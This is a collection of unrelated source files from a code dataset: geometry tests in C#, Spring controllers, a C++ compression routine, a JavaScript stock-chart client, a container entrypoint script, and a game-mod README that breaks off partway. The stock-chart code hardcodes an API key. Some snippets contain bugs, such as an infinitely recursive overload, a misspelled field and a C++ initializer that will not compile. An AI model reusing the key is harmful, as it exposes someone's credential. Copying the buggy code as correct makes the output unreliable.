Vector3.Dot(v0, a20); p1 = Vector3.Dot(v1, a20); p2 = Vector3.Dot(v2, a20); r = extents.x * Mathf.Abs(f0.y) + extents.y * Mathf.Abs(f0.x); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a21 p0 = Vector3.Dot(v0, a21); p1 = Vector3.Dot(v1, a21); p2 = Vector3.Dot(v2, a21); r = extents.x * Mathf.Abs(f1.y) + extents.y * Mathf.Abs(f1.x); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a22 p0 = Vector3.Dot(v0, a22); p1 = Vector3.Dot(v1, a22); p2 = Vector3.Dot(v2, a22); r = extents.x * Mathf.Abs(f2.y) + extents.y * Mathf.Abs(f2.x); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } if ( Mathf.Max(v0.x, v1.x, v2.x) < -extents.x || Mathf.Min(v0.x, v1.x, v2.x) > extents.x ) { return false; } if ( Mathf.Max(v0.y, v1.y, v2.y) < -extents.y || Mathf.Min(v0.y, v1.y, v2.y) > extents.y ) { return false; } if ( Mathf.Max(v0.z, v1.z, v2.z) < -extents.z || Mathf.Min(v0.z, v1.z, v2.z) > extents.z ) { return false; } var normal = Vector3.Cross(f1, f0).normalized; var pl = new Plane(normal, Vector3.Dot(normal, tri.A)); return Intersects(pl, aabb); } public static bool Intersects(AABB aabb, Triangle tri) { return Intersects(tri, aabb); } public static bool Intersects(Plane pl, AABB aabb) { Vector3 center = aabb.Center, extents = aabb.Max - center; var r = extents.x * Mathf.Abs(pl.Normal.x) + extents.y * Mathf.Abs(pl.Normal.y) + extents.z * Mathf.Abs(pl.Normal.z); var s = Vector3.Dot(pl.Normal, center) - pl.Distance; return Mathf.Abs(s) <= r; } public static bool Intersects(AABB aabb, Plane pl) { return Intersects(aabb, pl); } } }
Java
UTF-8
443
1.671875
2
[ "Apache-2.0" ]
permissive
package org.paasta.servicebroker.sourcecontrol.repository; import org.paasta.servicebroker.sourcecontrol.model.JpaRepoPermission; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; /** * Created by lena on 2017-05-16. */ @Repository public interface JpaScRepoPermissionRepository extends JpaRepository<JpaRepoPermission, Integer> { void deleteAllByRepoNo(int repoNo); }
C++
UTF-8
728
3.3125
3
[]
no_license
#include<iostream> #include<vector> #include<map> using namespace std; int compress(vector<char>& chars) { int res=0; map<char,int> a; for(int i=0;i<chars.size();i++) { a[chars[i]]++; } for(auto x:a) { if(x.second==1) res++; else if(x.second>1 and x.second<=9) res=res+2; else if(x.second>=10 and x.second<=99) res=res+3; else if(x.second>=100 and x.second<=999) res=res+4; else if(x.second>=1000) res+=5; } return res; } int main() { vector<char> chars{"a","a","b","b","c","c","c"}; cout << compress(chars)<<endl; return 0; }
Java
UTF-8
2,363
2.28125
2
[]
no_license
package com.login.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; import com.login.dao.CatagoryI; import com.login.model.Catagory; @Controller public class testcontroller { @Autowired private CatagoryI catagoryI; @RequestMapping(value= { "/" , "/page" , "/home"}) public ModelAndView home() { ModelAndView modelAndView = new ModelAndView("page"); modelAndView.addObject("title", "home"); modelAndView.addObject("catagories", catagoryI.list()); modelAndView.addObject("userclick", true); return modelAndView; } @RequestMapping(value= { "/about"}) public ModelAndView about() { ModelAndView modelAndView = new ModelAndView("page"); modelAndView.addObject("title", "about"); modelAndView.addObject("catagories", catagoryI.list()); modelAndView.addObject("userclickabout", true); return modelAndView; } @RequestMapping(value="/contact") public ModelAndView contact() { ModelAndView modelAndView = new ModelAndView("page"); modelAndView.addObject("title", "contact"); modelAndView.addObject("catagories", catagoryI.list()); modelAndView.addObject("userclickcontact", true); return modelAndView; } @RequestMapping(value="/show/all/products") public ModelAndView showproducts() { ModelAndView modelAndView = new ModelAndView("page"); modelAndView.addObject("title", "all products"); modelAndView.addObject("catagories", catagoryI.list()); modelAndView.addObject("userclickallproducts", true); return modelAndView; } @RequestMapping(value="/show/catagory/{id}/products") public ModelAndView showproductscatagory(@PathVariable("id") int id) { ModelAndView modelAndView = new ModelAndView("page"); //catagory dao to fetch single catagory Catagory catagory=null; catagory= catagoryI.get(id); modelAndView.addObject("title", catagory.getName()); //passing the list of catagories modelAndView.addObject("catagories", catagoryI.list()); //passing the single catagory object modelAndView.addObject("catagory", catagory ); modelAndView.addObject("userclickcatagoryproducts", true); return modelAndView; } }
PHP
UTF-8
1,136
2.78125
3
[ "MIT" ]
permissive
<?php namespace Spatie\Ray\Support; class CacheStore { /** @var array */ protected $store = []; /** @var Clock */ protected $clock; public function __construct(Clock $clock) { $this->clock = $clock; } public function hit(): self { $this->store[] = $this->clock->now(); return $this; } public function clear(): self { $this->store = []; return $this; } public function count(): int { return count($this->store); } public function countLastSecond(): int { $amount = 0; $lastSecond = $this->clock->now()->modify('-1 second'); foreach ($this->store as $key => $item) { if ($this->isBetween( $item->getTimestamp(), $lastSecond->getTimestamp(), $this->clock->now()->getTimestamp() ) ) { $amount++; } } return $amount; } protected function isBetween($toCheck, $start, $end): bool { return $toCheck >= $start && $toCheck <= $end; } }
Python
UTF-8
1,038
3.03125
3
[]
no_license
def calculate(a, b, c): if c < 2: if c == 0: return a + b else: return a - b else: if c == 2: return a * b else: return int(a / b) def sol(knum, depth): global max_num, min_num if depth == n: max_num = max(max_num, knum) min_num = min(min_num, knum) else: for i in range(4): if calc[i] > 0: calc[i] -= 1 temp = calculate(knum, nums[depth], i) sol(temp, depth+1) calc[i] += 1 for tc in range(1, int(input())+1): n = int(input()) calc = list(map(int, input().split())) nums = list(map(int, input().split())) max_num, min_num = -1000000001, 1000000001 sol(nums[0], 1) print('#%d %d' % (tc, max_num - min_num)) """ 10 5 2 1 0 1 3 5 3 7 9 6 4 1 0 0 1 2 3 4 5 6 5 1 1 1 1 9 9 9 9 9 6 1 4 0 0 1 2 3 4 5 6 4 0 2 1 0 1 9 8 6 6 2 1 1 1 7 4 4 1 9 3 7 1 4 1 0 2 1 6 7 6 5 8 8 1 1 3 2 9 2 5 3 4 9 5 6 10 1 1 5 2 8 5 6 8 9 2 6 4 3 2 12 2 1 6 2 2 3 7 9 4 5 1 9 2 5 6 4 """
Java
UTF-8
2,206
2.15625
2
[]
no_license
package cu.edu.cujae.tykestrategy.service.impl; import cu.edu.cujae.tykestrategy.domain.EstrategiaTemaEntity; import cu.edu.cujae.tykestrategy.dto.EstrategiaTemaDto; import cu.edu.cujae.tykestrategy.feignInterface.SchoolarInterface; import cu.edu.cujae.tykestrategy.repository.EstrategiaTemaRepository; import cu.edu.cujae.tykestrategy.repository.JdbcSaveRepository; import cu.edu.cujae.tykestrategy.service.EstrategiaTemaService; import org.dozer.Mapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; @Service public class EstrategiaTemaServiceImpl implements EstrategiaTemaService { @Autowired JdbcSaveRepository saveRepository; @Autowired Mapper mapper; @Autowired EstrategiaTemaRepository repository; @Autowired SchoolarInterface schoolarInterface; @Override public Optional<EstrategiaTemaDto> updateEstrategiaDto(EstrategiaTemaDto dto) { return Optional.of( repository.saveAndFlush(mapper.map(dto, EstrategiaTemaEntity.class) )).map(this::mapperDto); } @Override public int saveEstrategiaTema(EstrategiaTemaDto dto) { return saveRepository.saveStrategyTema(dto); } @Override public List<EstrategiaTemaDto> findAllEstrategiaTema() { return repository.findAll().stream() .map(this::mapperDto).collect(Collectors.toList()); } @Override public Optional<EstrategiaTemaDto> getEstrategiaTemaById(long id) { return repository.findById(id).map(this::mapperDto); } @Override public void deleteEstrategiaTema(EstrategiaTemaDto dto) { repository.delete(mapper.map(dto, EstrategiaTemaEntity.class)); } @Override public void deleteEstrategiaTemaById(long id) { repository.deleteById(id); } private EstrategiaTemaDto mapperDto(EstrategiaTemaEntity entity){ EstrategiaTemaDto dto = mapper.map(entity, EstrategiaTemaDto.class); dto.setTema(schoolarInterface.seatchTemaById(entity.getIdTema().intValue())); return dto; } }
JavaScript
UTF-8
1,588
3.734375
4
[]
no_license
"use strict"; // { name: タスクの文字列, state: 完了しているかどうかの真偽値 } const tasks = []; /** * Add TODO * @param {string} task */ function add(task) { tasks.push({ name: task, tate: false }); } /** * Get array of TODOs * @returns {array} */ function list() { return tasks.filter((task) => isNotDone(task)).map((t) => t.name); } /** * Switch TODO state to "done" * @param {string} task */ function done(task) { const indexFound = tasks.findIndex((t) => t.name === task); if (indexFound !== -1) { tasks[indexFound].state = true; } } /** * Get array of tasks whose state is "done" * @returns {array} */ function donelist() { return tasks.filter((t) => isDone(t)).map((t) => t.name); } /** * 項目を削除する * @param {string} task */ function del(task) { const indexFound = tasks.findIndex((t) => t.name === task); if (indexFound !== -1) { tasks.splice(indexFound, 1); } } /** * タスクと完了したかどうかが含まれるオブジェクトを受け取り、完了したかを返す * @param {object} taskAndIsDonePair * @return {boolean} 完了したかどうか */ function isDone(taskAndIsDonePair) { return taskAndIsDonePair.state; } /** * タスクと完了したかどうかが含まれるオブジェクトを受け取り、完了していないかを返す * @param {object} taskAndIsDonePair * @return {boolean} 完了していないかどうか */ function isNotDone(taskAndIsDonePair) { return !isDone(taskAndIsDonePair); } module.exports = { add, list, done, donelist, del };
Shell
UTF-8
2,508
4.53125
5
[]
no_license
#!/bin/bash # Run when the container is run locally. Performs a number of tasks: # 1: Clones the repository specified by the mandatory environment variable GIT_REPOSITORY, with the optional branch specified by GTI_BRANCH (defaults to master). # 2: Executes any scripts found in /scripts/local. The execution order is alphabetic, so scripts should be prefixed with numbers to control the order in which they are run. # 3: Runs the Fastlane specified by the mandatory environment variables FASTLANE_PLATFORM and FASTLANE_LANE. colour_red="\033[31m" colour_green="\033[32m" colour_yellow="\033[33m" colour_reset="\033[0m" # 1: Clone Git repo. if [ -z "$GIT_REPOSITORY" ] then printf "GIT_REPOSITORY not set. Exiting...\n" exit else default_git_branch=master if [ -z "$GIT_BRANCH" ] then branch=${default_git_branch} else branch=$GIT_BRANCH fi echo "Branch: ${branch}" git clone -b $branch $GIT_REPOSITORY $WORK_DIR chmod 777 -R $WORK_DIR cd $WORK_DIR fi # 2: Run any scripts found in the local scripts directory. local_scripts_directory=/scripts/local/ if [ -d "${local_scripts_directory}" ] then for script in ${local_scripts_directory}*.sh do printf "\n\n" printf "${colour_yellow}==================================================\n" printf "===== Script \"$script\"\n" printf "==================================================\n${colour_reset}" cd ${local_scripts_directory} (. ${script}) return_code=$? if [ "${return_code}" -eq 0 ]; then printf "${colour_green}==================================================\n" printf "===== Script \"${script}\" ran successfully\n" printf "==================================================\n${colour_reset}" else printf "${colour_red}==================================================\n" printf "===== Script \"${script}\" failed (return code = $return_code). Skipping pending scripts...\n" printf "==================================================\n${colour_reset}" exit $return_code fi done else printf "Local scripts directory not found. Skipping...\n" fi # 3: Run Fastlane if [ -z "$FASTLANE_PLATFORM" ] || [ -z "$FASTLANE_LANE" ] then printf "FASTLANE_PLATFORM or FASTLANE_LANE not set. Skipping...\n" else cd $WORK_DIR bundle install bundle exec fastlane $FASTLANE_PLATFORM $FASTLANE_LANE fi
Java
UTF-8
1,060
3.390625
3
[]
no_license
class NumberOfIslands { public int numIslands(char[][] grid) { if(grid == null || grid.length == 0) return 0; int num = 0; for(int i = 0 ; i<grid.length ; i++){ for(int j = 0 ; j<grid[i].length ; j++){ if(grid[i][j] == '1'){ num++; numIslands(grid,i,j); } } } return num; } public void numIslands(char[][] grid, int i, int j) { int rows = grid.length; int cols = grid[i].length; if(i<0 || i>= rows || j<0 || j>=cols || grid[i][j] == '0' || grid[i][j] == '#') { return; } grid[i][j] = '#'; //down if(i+1<rows && grid[i+1][j] == '1'){ numIslands(grid, i+1, j); } //up if(i-1>=0 && grid[i-1][j] == '1'){ numIslands(grid, i-1, j); } //right if(j+1 < cols && grid[i][j+1] == '1'){ numIslands(grid, i ,j+1); } //left if(j-1 >= 0 && grid[i][j-1] == '1'){ numIslands(grid, i, j-1); } return; } }
TypeScript
UTF-8
403
2.515625
3
[]
no_license
export function extractFilterVals(value: any): any { if (!value) { return {}; } const obj = {}; value.match(/(?:\\,|[^,])+/g).map(el => { return el.match(/(?:\\:|[^:])+/g); }).forEach(element => { obj[element[0]] = element[1]; }); return obj; } export function extractIncludeVals(value: any): any { if (!value) { return []; } return value.match(/(?:\\,|[^,])+/g); }
Markdown
UTF-8
12,611
2.609375
3
[ "MulanPSL-2.0", "LicenseRef-scancode-mulanpsl-2.0-en", "LicenseRef-scancode-unknown-license-reference" ]
permissive
--- --- --- title: 1842—1844年条约的缔结 --- 在南京条约以后为制定1842—1843年英国条约制度的细则而进行的几次谈判中,双方在南京达成的最初协议的基础上各有截然不同的打算。清方谈判者原来担心英国人会有领土要求,后来才确信英方正如所声称的那样只寻求贸易,而不是领土。因此,中国便打算利用贸易方面的让步去安抚英国人,但对他们的活动则根据条约而予以严格的限制,这样就能通过物质诱导来控制住他们。这里应用的就是一种精心策划而经常用来对付亚洲腹地夷狄的“羁縻”政策。它包括两个方面:(1)在商业和私人交往方面让步,用贸易特权和友谊去收买外国的好战分子;(2)乞灵于文明的等级制礼貌行为以及中国的整个文化优越感来设置各种限制,所以条约一经订立,也能被用来限制对方。 在采取这些旨在软化好战的外国人的传统策略时,清朝对西方的政策是否重新作了什么考虑呢?朝廷里的文献记录几乎没有提供什么新东西。然而,在一心谋求妥协的清朝官僚集团之外,许多有志之士却作出了反应。最著名的是魏源,一位志在使旧的管理制度仍能发挥效用的改革家。魏源早年就有谋求改革漕运和盐务等要害部门的经验(见第三章)。此时他把注意力转到了外部世界的问题上来。 魏源利用友人林则徐于1841年年中赠送给他的翻译过来的资料,把新旧材料组织起来编成《海国图志》一书。他描绘了欧洲的贸易和军港向东方所进行的扩张,及其对中国的东南亚属国的颠覆性影响。这便导致了中国沿海的动乱。对付之方应当是以欧洲人制欧洲人,并且使亚洲国家奋起抵抗他们。中国应当采用西方武器和训练以自卫,并建立自己的海军力量。魏源的这部著作完成于鸦片战争刚结束时,此书及其记述清朝武功的姊妹篇《圣武记》,尽管不乏以讹传讹之处,却仍然不失为对国际贸易和西方炮舰所带来的问题症结进行多方面的探讨的首次尝试。[8]魏源虽然对1852年最后一版《海国图志》作了增订,但他对国外世界的广阔探讨,很快就被湮没无闻。实行改革以帮助中国对付西方的进攻,已让位于清廷在此伏彼起的叛乱中一心挣扎求存所作的努力了。 因此,在南京条约签订以后的10年中,清方谈判者天天使出了他们整套的传统策略伎俩来虚与委蛇,而极少有任何新颖的奇谋妙算。他们试图在外交礼节和名词术语方面使其外国对手处于下风:譬如说,会谈只许在货栈那种令人感到屈辱的环境中进行,或者只许同低级官员进行。当被迫作出让步时,也只能把它当作仁政,而不承认外国人的权利。清帝的代表们也可以解释为什么不可能采取会引起民众公开反对的行动,这点印度的统治者是很容易理解的。然而在开始时却利用了私情交往。 处理从1842—1848年新条约关系的宗人耆英,用古代《孙子兵法》的“知己知彼,百战百胜”的精神来执行他的任务。在那个时代,这条金科玉律是人们的口头禅。如耆英所言:“制夷之法,必须先知其性……即如吉林省擒虎之人,手无寸铁,仅止以一皮袄盖于虎首,则虎即生擒矣……今若深知其性,即可以慑其心胆。”[9]可惜耆英运用这一战略时却是片面的。他不去研究介绍英国商业扩张的文章,反而先试图用交情来笼络英国头目。在他与璞鼎查的书信往返中,尤其是在他于1843年6月对香港的史无前例的五天访问中,这位钦差大臣真是极尽讨好巴结之能事。他装出一副与亨利爵士十分友善的姿态,在书信里把后者称为他的“因地密特朋友”(即英语intimate)。他甚至表示想收璞鼎查的大儿子为养子,且与璞鼎查交换老婆的相片(耆英后来向清帝表白,说什么“英夷重女而轻男”)。其驯夷手腕在他对这位英国全权大使的告别信中表现得淋漓尽致,听起来颇像一封情书,他说: 一年多来我俩均在致力于同一工作,且彼此了解对方都是一心为国的:既不为私利之动机所驱使,亦不被欺诈之盘算所左右,在商谈和处理事务中,彼此心心相印,我们之间无事不可相商;将来人们会说,我们身虽为二,心实为一……分袂在即,不知何年何地再能觌面快晤,言念及此,令人酸恻![10] 满族显贵的这种表演,体现了个人外交的悠久传统:军事上软弱而文化上优越的中国统治阶级常常采用此法以同化和软化入侵的蛮夷。假若璞鼎查是蒙古人,耆英的举动就不会那么使他惊讶,因为这些举动只不过是中国古代外交纪录的重现而已。举例说,汉朝对入侵匈奴的妥协,采用的就是和亲政策。中国每年给匈奴定额馈赠(另给其酋长婚配一名中国公主),使之保证停止对中国边境的侵犯。和亲就是“中国历史上‘不平等条约’的另一种形式”,当中国军事上软弱时它就一再出现。当汉朝成功地把和亲政策转变为完全的纳贡制度时,“就向匈奴要来一位王子作为人质,以保证其驯服”。[11]耆英(英国的公文中写作Keying)自己没有儿子,建议收养璞鼎查的儿子,并带他到北京去。当他得知这孩子先要在英国完成学业时,他答道:“很好!从今天起,他就是我的养子弗里德里奇·耆英·璞鼎查了!”[12] 英国在1842—1843年谈判中的目的比较简单具体,但影响却深远:即依靠条约法规使各种权利成为制度,使其总的来说有利于英国在贸易及交往方面的发展。正像查顿所申说的那样,他们最直接关心的就是通商的机会。条约税则实际上是由英国的与广州的有关人士议定的。伍崇曜代表中国方面,马地臣则率领致力于废除旧制的英商代表团。然而,他们都不十分了解行商以前实际上交付的贸易税。关税率实际上是查顿过去的一位代理商(罗伯聃)在广州同海关监督等人讨价还价制定出来的。新税则的税率用几乎任何标准来衡量,都可以说是低的,且不具保护性,因为不论进、出口税都仍按中国的旧规矩征收。主要的变革并不在于帝国的旧税率方面,而是在于要努力扫除深深植根于广州贸易制度中的捞外快和收小费等一整套敲诈勒索制度。当涉及内陆转口税(指外国货物从口岸起运至内陆市场后所应征收的那些税)时,条约规定此类税额“只可按估价则例若干,每两加税不过某分”,可是由于缺乏情报资料,这种百分率在条约条款中最后仍付阙如。不出所料,英国人根本不能杜绝在商埠以外对他们的货物随地课税。“自由贸易”还是无法强加给中华帝国。 取代广州海关制度的一些新规定在中英五口通商章程中制定了出来,并与税则一道于1843年7月22日颁布:英国船只将把它们的执照委托英国领事保存,这样一来,英领事实际上将取代以前对在广州的每条船只负责的那种公行“保商”的地位。中国政府将不再对中国商人的债务担当责任。同时英国政府规定,英国领事对所有英国人有审判权。这样便正式制定了治外法权原则,而它长期以来被认为是侵犯中国在广州的刑事审判权的。 中英附粘和约是在1843年10月8日由璞鼎查和耆英在虎门签署的。它把英国的贸易限制在五个通商口岸内,允许外商在那些地方居留,但限制到五个口岸之外的地方去旅行。附约规定了香港与广州之间的地方贸易,允许在所有的商埠内停泊军舰,认可领事协助稽私,承认治外法权和引渡刑事犯。它还包括一项最惠国待遇条款,即此后凡与其他列强订立之条约,英国将援例享有同等利益。虽然如此,附约后来在中、英文本之间显示有几处歧异,这部分原因是由于英方译员小马礼逊死后无恰当的接替人所致。[13] 英国的目的是想利用其陆海军力量来巩固已经获取的通商机会。关于这种努力是怎样受到限制的,从香港的事例中可以看出。英国人希望把这个现在已经属于英帝国的岛屿变成他们存放货物的仓库,从这里他们可以进入中国全部沿海地区。为此目的,他们想把中国的沙船贸易吸引到他们这个新的岛屿港口方面来,因此试图把这一点写入附粘和约。然而,在条约的中文文本中却明白无误地写道:香港乃外国领土,所有去该地的中国商船必须从中国五个通商口岸的中国海关取得通航证。中国当局用拒发通航证的办法就能够窒息这种合法的贸易,而且他们也确实是这样做的。对中国方面这种不合作的态度,英国人的对策是通过由香港英国当局发放航行许可证,来保护居留在那里的英国国民的船只。这是一种新策略,它的本意是为了保护往来于广州、香港、澳门之间载运旅客和杂货的小船。英国人单方面推广了这种做法,很快让那些在香港注册而往来于中国所有沿海地区的中国船只和外国船只使用他们的旗帜。 南京条约和虎门附约没有提到的主要问题是鸦片。英国政府争辩说,鸦片贸易既然明显地不能为中国所禁绝,那么,上策便是使它合法化,并对它征税来达到管理它的目的。对此,道光帝当然从内心里不能同意。鸦片因此在初期的几件条约中始终没有被提及,而这项贸易却在条约规定的范围之外,根据一套非正式的规定得以恢复进行。早在条约规定的商埠开放以前很久,那些新口岸外就有武装的鸦片“接受船”(浮动的毒品货栈)停泊在沿海鸦片站旁边,鸦片站的贸易已成为既成事实。到1843年4月,上海官员们“业已在吴淞附近指定了一个停泊地……生意十分兴隆,许多清朝的低级官吏也参观过这些船只”[14]。然而璞鼎查于1842年11月曾经下令,英国人在这些港口正式开放和建立领事馆之前,禁止在那里进行贸易。在仍被占据的舟山岛上一位英国高级海军军官就曾指出,鸦片商人“迄今已被允许在该岛与澳门之间的沿海一带航行,而无需办理港口过境手续,也未曾受到任何盘问……只要他们不靠近尚未开禁的五个口岸即可”。[15]可是,当这位军官于1843年4月发现他们出现在尚未正式开放贸易的上海口外时,便命令他们在24小时内离开。 这件事给观察两国事件的人提供了一个可资教训的实例。璞鼎查斥责海军这种头脑刻板的举动。那位军官受到谴责并被撤职,而与他认真合作的那位上海道台也得到了同样的下场。此后英国海军就对鸦片贸易采取视而不见的态度。到了1845年,就有80艘装运鸦片的快船往来于香港。此时马地臣指示他那为首的鸦片船长说,不要夸耀对海军的“胜利”,而是“要尽力讨好清朝官吏,如果他们要求我们从一个停泊处开到另一个停泊处,我们就要照办,并且不要太靠近他们的城市。鸦片贸易现在在英国很不得人心,因此得保持沉默,尽量避人耳目,为此目的,不论怎样小心都不为过分”。[16] 结果,英国对华的商业入侵从此便是合法贸易与非法鸦片贸易双管齐下地进行。合法贸易是在新开辟的五个条约口岸进行。鸦片贸易使在这些港口之外的沿海一带的接收站多了一倍,那里通常都停泊着二三十只鸦片接收船。到1860年为止,鸦片贸易额翻了一番,每年进口由3万箱增至6万箱。然而鸦片商人却受到璞鼎查的警告,不许到上海以北的地方去,这显然是与大鸦片商行非正式协商的结果,还可能同清朝当局通过气。这样一来,中国沿海的法制就弄得肢体不全。尤其糟糕的是,英国——还有美国——为了同中国发展贸易,就继续靠向中国输出鸦片,作为筹措购买茶丝出口货资金的主要手段。
JavaScript
UTF-8
7,650
2.578125
3
[]
no_license
'use strict'; (function () { angular .module('stocks', []) .controller('stocksController', ['$scope','$http', 'socketio', function ($scope, $http, socketio) { socketio.on('newStock', function (stock) { console.log("updating all clients... a stock has been added") $scope.getStocksFromDB("socketio") }) socketio.on('deleteStock', function (stock) { console.log("updating all clients... a stock has been removed: ", stock) $scope.getStocksFromDB("socketio delete", stock) }) $scope.stockDatas = [] $scope.newStock = "" $scope.stockHash = {} $scope.stockDBList = [] $scope.stockList = [] $scope.seriesOptions = [] $scope.seriesCounter = 0 $scope.errorMsg = "" $scope.alreadyHasMsg = "" $scope.deletedStock = "" $scope.colors = ["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#a65628","#f781bf",'#492970', '#f28f43', '#77a1e5', '#c42525', '#a6c96a','#7cb5ec', '#434348', '#90ed7d', '#f7a35c', '#8085e9', '#f15c80', '#e4d354', '#8085e8', '#8d4653', '#91e8e1','#4572A7', '#AA4643', '#89A54E', '#80699B', '#3D96AE', '#DB843D', '#92A8CD', '#A47D7C', '#B5CA92'] function loadStocks(status) { if (status === 'loading') { $scope.stockList.forEach((stock)=> { $scope.updateStocks(stock, status) }) } } function arrHasObjWithProp (arr, ticker) { var found = "no" arr.forEach((obj)=> { if (obj.name === ticker) { found = "yes" return true } }) if (found === 'no') { return false } } function stripAwayEnd (string) { var regex = /\)\sP/ var matchObj = string.match(regex) return string.slice(0, matchObj.index + 1) } $scope.updateChart = function(arr) { var result = [] arr.forEach((stock, i)=> { var ticker = stock.toUpperCase() var url = `https://www.quandl.com/api/v3/datasets/WIKI/${ticker}.json?api_key=qAY7XBnmZQbJfSrr-tyK` $http.get(url) .then(function successCallback (res) { var data = res.data.dataset.data.reverse().map((arr)=> { return [new Date(arr[0]).getTime(), arr[4]] }) var obj = { name: ticker, data: data, color: $scope.colors[i] } console.log(arrHasObjWithProp($scope.seriesOptions, ticker)) if (arrHasObjWithProp($scope.seriesOptions, ticker) === false) { $scope.seriesOptions.push(obj) $scope.stockHash[ticker] = stripAwayEnd(res.data.dataset.name); createChart($scope.seriesOptions) } }, function (res) { }) }) } $scope.updateStocks = function (stock, status) { var ticker = stock.toUpperCase() var url = `https://www.quandl.com/api/v3/datasets/WIKI/${ticker}.json?api_key=qAY7XBnmZQbJfSrr-tyK` $http.get(url) .then(function successCallback (res) { console.log(res) $scope.errorMsg = "" $scope.alreadyHasMsg = "" var data = res.data.dataset.data.reverse().map((arr)=> { return [new Date(arr[0]).getTime(), arr[4]] }) var obj = { name: ticker, data: data, color: $scope.colors[$scope.seriesCounter] } if (!arrHasObjWithProp($scope.seriesOptions, ticker) && status === 'loading') { $scope.seriesOptions.push(obj) $scope.seriesCounter += 1 $scope.stockHash[ticker] = stripAwayEnd(res.data.dataset.name); } if ($scope.stockList.indexOf(ticker) === -1) { $scope.addStockToDB(ticker) } $scope.newStock = "" if ($scope.seriesCounter === $scope.stockList.length && status === 'loading') { createChart($scope.seriesOptions) } }, function errorCallback (res) { console.log(res) $scope.errorMsg = "Invalid ticker" $scope.newStock = "" }); } $scope.addStock = function () { var stock = this.newStock.toUpperCase() if ($scope.stockList.indexOf(stock) === -1) { this.updateStocks(stock) } else { $scope.alreadyHasMsg = "Stock is already added" } } $scope.addStockToDB = function (ticker) { var url = 'https://fcc-stockchartr.herokuapp.com/api/stocks' $http.post(url, {ticker: ticker}).then(function (res) { console.log(res) }, function (res) { console.log(res) }) } $scope.deleteStock = function (stock) { var url = `https://fcc-stockchartr.herokuapp.com/api/stocks/${stock}` $http.delete(url).then(function (res) { }, function (res) { console.log(res) }) } function findAndDeleteStock(arr, stock) { var result = arr.filter((obj)=> { return obj.name !== stock }) return result } $scope.getStocksFromDB = function (status, stockToDelete) { var url = 'https://fcc-stockchartr.herokuapp.com/api/stocks' $http.get(url).then(function (res) { $scope.stockDBList = res.data $scope.stockList = $scope.stockDBList.map((obj)=> { return obj.ticker }) if (status === 'loading') { loadStocks('loading') } if (status === "socketio") { $scope.updateChart($scope.stockList) } if (status === "socketio delete") { $scope.seriesOptions = findAndDeleteStock($scope.seriesOptions, stockToDelete) $scope.stockList = $scope.stockList.filter((el)=> { return el !== stockToDelete }) createChart($scope.seriesOptions) } }, function (res) { console.log(res) }) } $scope.getStocksFromDB("loading") function createChart(seriesOptions) { console.log("creating chart now...") console.log(seriesOptions) Highcharts.stockChart('container', { rangeSelector: { selected: 4 }, title: { text: 'Stocks' }, yAxis: { labels: { formatter: function () { return (this.value > 0 ? ' + ' : '') + this.value + '%'; } }, plotLines: [{ value: 0, width: 2, color: 'silver' }] }, plotOptions: { series: { compare: 'percent', showInNavigator: true } }, tooltip: { pointFormat: '<span style="color:{series.color}">{series.name}</span>: <b>{point.y}</b> ({point.change}%)<br/>', valueDecimals: 2, split: true }, series: seriesOptions }); } }]).factory('socketio', ['$rootScope', function ($rootScope) { var socket = io.connect(); return { on: function (eventName, callback) { socket.on(eventName, function () { var args = arguments; $rootScope.$apply(function () { callback.apply(socket, args); }); }); }, emit: function (eventName, data, callback) { socket.emit(eventName, data, function () { var args = arguments; $rootScope.$apply(function () { if (callback) { callback.apply(socket, args); } }); }) } }; }]) }())
C#
UTF-8
2,478
2.84375
3
[]
no_license
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace telegramBot { class SendEDIMessage { string GLN; string messageType; public SendEDIMessage(string _GLN, string _messageType) { GLN = _GLN; messageType = _messageType; } public bool Send() { FTPClient ftpClient = new FTPClient(); PrepareXML nd = new PrepareXML(this.GLN, messageType,""); try { ftpClient.UploadFile(nd.path); } catch(Exception) { return false; } File.Delete(nd.path); return true; } public static void SendRecadv() { PrepareXML nd; while (true) { FTPClient ftpClient = new FTPClient(); FTPClient.FileStruct[] files = ftpClient.ListDirectory(); foreach (FTPClient.FileStruct file in files) { if (file.Name!=null&&file.Name.StartsWith("DESADV")) { try { ftpClient.DownloadFile(Directory.GetCurrentDirectory(), file.Name); nd = new PrepareXML("", "RECADV", file.Name); ftpClient.UploadFile(nd.path); ftpClient.DeleteFile(file.Name); File.Delete(nd.path); } catch (Exception ex) { Telegram.Program.log.Error($"Сломались: {ex.Message}"); } } else { try { ftpClient.DeleteFile(file.Name); } catch (Exception ex) { Telegram.Program.log.Error($"Сломались: {ex.Message}"); } } if (file.Name != null) { File.Delete(Directory.GetCurrentDirectory() + @"/" + Path.GetFileName(file.Name)); } } Thread.Sleep(180000); } } } }
Markdown
UTF-8
3,797
3
3
[]
no_license
# Crusader Kings 2 Random Hordes Mod Randomly spawns a massive army for random AI chracters throughout the years. Now fear not just the mongols but any war focused character. ##Mechanics - Every 15 years or so there is a 3% chance for an AI character to gather a massive army. There are a number of rules to the characters chosen: - The ruler must be a Duke or a Count (or nomadic) - If the ruler is war focused (only if you own the way of life dlc) or has particularly agressive traits or ambition this chance can increase up to 10%. - Non Reformed Pagan Rulers and tribes 25% more likely to be chosen. - Christian rulers 50% less likely to be chosen. - Certain non ambitious or illness/health traits will prevent a character ever being chosen. - Characters must be between 16 and 60, although characters over the age of 45 are less likely to be chosen. The number of troops spawned scales based on the year and the characters current troop count but it will be between 11000 and 130000 troops. The ruler will also gain a cb to subjugate those of the same religion for 50 years (non reformed pagans can subjugate everyone). Subjugation will help prevent a game over when your same religion neighbour turns into a horde. During those 50 years no other horde will spawn. If the ruler dies, his heir will not have access to the subjugation cb anymore. The spawned armies will be slightly affected by attrition. If a christian turns into a horde there is a likelyhood the pope will excommunicate him if he 